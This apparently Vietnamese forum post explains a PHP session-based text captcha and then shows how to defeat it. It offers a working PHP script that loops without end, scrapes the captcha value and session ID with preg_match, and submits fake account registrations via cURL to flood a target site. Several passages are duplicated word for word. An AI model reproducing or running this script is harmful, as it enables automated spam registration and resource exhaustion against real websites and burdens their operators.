Ta cùng tìm hiểu cách hoạt động nhé
Tạo 1 con số với hàm rand như sau
Như vậy, khi truy cập đăng ký. Trang đó đã ngầm gán cho ta 1 giá trị ngẫu nhiên vào session và in nó ra màn hình
Nếu mã ta nhập vào trùng với SES vừa đc gán thì tiếp tục đăng ký. Ok
---
---
Cách vượt: Vì nó là text nên dùng hàm preg_match , ta dễ dàng tách nó ra. Cùng ngâm code nào
Giờ cùng mình kết hợp captcha để tạo thành code flood user
Tạo 1 con số với hàm rand như sau
PHP:
<?php
session_start();
$so = rand(10000,99999);
//Sau đó gán giá trị này vào SESSION
$_SESSION['captcha'] = $so;
?>
Nếu mã ta nhập vào trùng với SES vừa đc gán thì tiếp tục đăng ký. Ok
---
---
Cách vượt: Vì nó là text nên dùng hàm preg_match , ta dễ dàng tách nó ra. Cùng ngâm code nào
PHP:
<?php
$site = file_get_contents('http://domain/register.php');
//Lấy source file đăng ký
preg_match("/Mã đăng kí: <b>(.*?)<\/b><\/div><input name=\"chislo\" value=\"\" type=\"text\" maxlength=\"5\"\/>/is", $site, $arr);
//Tách đoạn mã captcha ra.
//Giống grab phải không ?
echo 'Captcha trang đó là '.$arr[1];
?>
PHP:
<?php
for($i=1;$i>0;$i++) {
$site = file_get_contents('http://domain/register.php');
preg_match("/Mã đăng kí: <b>(.*?)<\/b><\/div><input name=\"chislo\" value=\"\" type=\"text\" maxlength=\"5\"\/>/is", $site, $arr);
$captcha = $arr[1];
preg_match("/<input type=\"hidden\" name=\"PHPSESSID\" value=\"(.*?)\" \/>/is",$site,$ses);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://domain/register.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, array('PHPSESSID' => $ses[1], 'siteName' => 'TTVN'.$i, 'razdel' => '1', 'pass' => '123456','email' => 'adm'.$i.'@tuoitreit.vn', 'link' => 'http://'.$i.'.tuoitreit.vn', 'admin' => 'TTVN'.$i, 'info' => 'TUOITREIT.VN','chislo' => $captcha, 'submit' => 'Hoàn tất'));
curl_exec($curl);
curl_close($curl);
}
?>